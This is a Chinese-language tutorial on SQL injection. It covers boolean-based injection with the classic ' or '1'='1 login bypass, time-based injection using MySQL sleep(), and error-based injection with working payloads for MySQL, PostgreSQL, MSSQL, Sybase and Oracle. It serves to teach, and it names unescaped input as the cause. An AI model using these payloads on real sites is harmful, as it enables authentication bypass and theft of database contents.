SQL注入小结

分类学习有利于条理化知识,大致的SQL注入分为三种:
1.BealeanBase
2.TimeBase
3.ErrorBase

1.从最简单的说起,基于布尔类型是最常见的SQL注入方式

select username, password from tb_admin where username= User and password = Pass;
这句话如果被运用的提取验证数据中,就会有布尔注入的漏洞具体如下
‘select username, password from tb_admin where username=‘+ User +‘and password =‘ + Pass;
看似上面出入的规范的用户名和密码都会有正确查询发生,并且都都是准确反映数据库的数据值的查询,但是如果我传入的参数如下

用户名输入:1‘ or ‘1‘=‘1
密码: 1‘ or ‘1‘=‘1

这样嵌入到原来的语句中就是‘select username, password from tb_admin where username=‘1‘ or ‘1‘=‘1‘ and password =‘1‘ or ‘1‘=‘1‘;

这样select 中就 or 了一个 永真式,这样select 返回的结果就是永真,进一步通过验证,然而事实上这种基于布尔的SQL注入越来越少了,因为
只有初学者才会这样做,但是这个原理还是要知道的。

注入原因:用户输入参数未经过验证,直接拼接入SQL查询,造成用户精心提交的数据被当作代码执行,进一步达到绕过验证的目的
解决办法:不要相信用户的任何输入,所有用户输入都要经过转义再使用

2.基于时间的注入:
这种办法就有点猥琐了,根据题目就知道这是要依据返回时间来判断执行结果的,但是如果网络状况不好那就不好判断了
就mysql 而言,涉及到的两个函数是sleep() 和 benchmark(), 但是后者占用CUP较高,所以不建议使用

Syntax:
SLEEP(duration)

Sleeps (pauses) for the number of seconds given by the duration
argument, then returns 0. If SLEEP() is interrupted, it returns 1. The
duration may have a fractional part given in microseconds.

看了sleep() 的语法就知道了,就是一个延时执行的效果

FIND_IN_SET(str,strlist)

Returns a value in the range of 1 to N if the string str is in the
string list strlist consisting of N substrings. A string list is a
string composed of substrings separated by "," characters. If the first
argument is a constant string and the second is a column of type SET,
the FIND_IN_SET() function is optimized to use bit arithmetic. Returns
0 if str is not in strlist or if strlist is the empty string. Returns
NULL if either argument is NULL. This function does not work properly
if the first argument contains a comma (",") character.

这个函数是在strlist中找str的过程,返回找到的个数

3.基于报错的盲注
就是通过网站显示的数据库等错误信息来进行逐步深入,当用二分查找得出一个32位哈希值的时候需要16×32=512次(十六进制的哈希字符,一共有16种可能),但是也有些
可以减少查询次数的方法,已知英语中字母出现次数的概率是:e,t,a,o,i,n,s,h,r,d,l,c,u,m,w,f,g,y,p,b,v,k,j,x,q,z
根据前后的顺序尝试然后再进行二分查找,这样的效率就高很多了

这个是基于复制入口点的报错
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
/* SQL错误(1062):Duplicate entry ‘5.5.171‘ for key ‘group_key‘ */

如果关键表被禁用了,还有这样的错误可以触发:
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
/* SQL错误(1248):Every derived table must have its own alias */

如果是rand()等一些关键函数被禁用了,还可以这样:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
/* SQL错误(1054):Unknown column ‘password‘ in ‘group statement‘ */

上面这些都是Mysql的数据库设计的问题,所以上面的语句不适用其他数据库。

在Mysql 5.1以及后面的版本都是新加了两个xml函数,可以拿来报错:
extractvalue(),updatexml()

而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。